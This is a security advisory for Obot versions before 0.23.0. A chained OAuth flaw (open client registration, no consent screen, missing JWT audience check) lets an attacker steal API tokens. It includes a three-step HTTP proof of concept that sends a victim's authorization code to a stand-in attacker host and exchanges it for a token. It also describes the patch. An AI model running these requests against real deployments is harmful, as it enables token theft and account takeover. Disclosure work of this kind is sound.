high · 8.8Sep 18, 2026

Obot: OAuth Dynamic Client Registration Enables API Token Theft via Audience Confusion

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A chain of three flaws in Obot's MCP OAuth layer let an unauthenticated attacker register a malicious redirect URI, silently steal an authorization code when a logged-in user visits a crafted link…

Packagegithub.com/obot-platform/obot
Ecosystemgo
Affected< 0.23.0
Fixed in0.23.0

The problem

Obot's OAuth dynamic client registration endpoint accepted arbitrary redirect URIs without authentication, so any attacker could point a new client at an external domain they control.

The authorization flow then completed silently for any already-logged-in user, with no consent prompt, delivering an authorization code straight to the attacker. The resulting JWT carried the victim's full group set, and Obot validated the token issuer but not the audience, so the token was accepted across all API paths the victim was authorized for, not just the target MCP server.

Proof of concept

A working proof-of-concept for this issue in github.com/obot-platform/obot, with the exact payload below.

http
# Step 1: Register a malicious OAuth client (no auth required)
POST /oauth/register HTTP/1.1
Host: <obot-host>
Content-Type: application/json

{
  "client_name": "evil-client",
  "redirect_uris": ["https://attacker.example.com/callback"],
  "grant_types": ["authorization_code"]
}

# Response: { "client_id": "<attacker_client_id>", ... }

# Step 2: Send victim a crafted authorization URL.
# When the logged-in victim visits this URL, the flow auto-completes
# with no consent screen and redirects the code to the attacker.
https://<obot-host>/oauth/authorize
  ?client_id=<attacker_client_id>
  &redirect_uri=https://attacker.example.com/callback
  &response_type=code
  &scope=openid
  &state=x

# Step 3: Attacker receives ?code=<AUTH_CODE> at their callback and exchanges it.
POST /oauth/token HTTP/1.1
Host: <obot-host>
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&code=<AUTH_CODE>
&client_id=<attacker_client_id>
&redirect_uri=https://attacker.example.com/callback

# Result: access_token valid against victim's full Obot API surface.

Three independent weaknesses chained together (CWE-863, Incorrect Authorization). First, the registration endpoint had no authentication gate and no allowlist for redirect URIs, satisfying RFC 7591 literally but ignoring the security considerations that require server-side URI validation.

Second, the authorization endpoint auto-completed for authenticated sessions without a consent step, so visiting the URL was sufficient to issue a code. Third, the JWT minted by the MCP OAuth flow embedded the user's full group membership, and Obot's token verifier checked the issuer but skipped audience validation, meaning a token scoped to one MCP server was accepted everywhere the victim had access.

The patch (PRs #6859, #6934, #6940) adds three independent controls: a consent screen that requires explicit user approval, audience validation in the JWT verifier so MCP-scoped tokens are rejected outside their intended MCP server, and path-level restriction so MCP OAuth tokens can only reach the specific MCP paths they were issued for.

The fix

Upgrade to Obot v0.23.0 or later. The release adds a consent screen (PR #6934), restricts MCP OAuth token scope to the specific MCP server path (PR #6859), and enforces audience validation in the JWT verifier (PR #6940). No configuration change is needed beyond upgrading; all three controls are on by default.

Reported by @EQSTLab.

References: [1][2][3]

Related research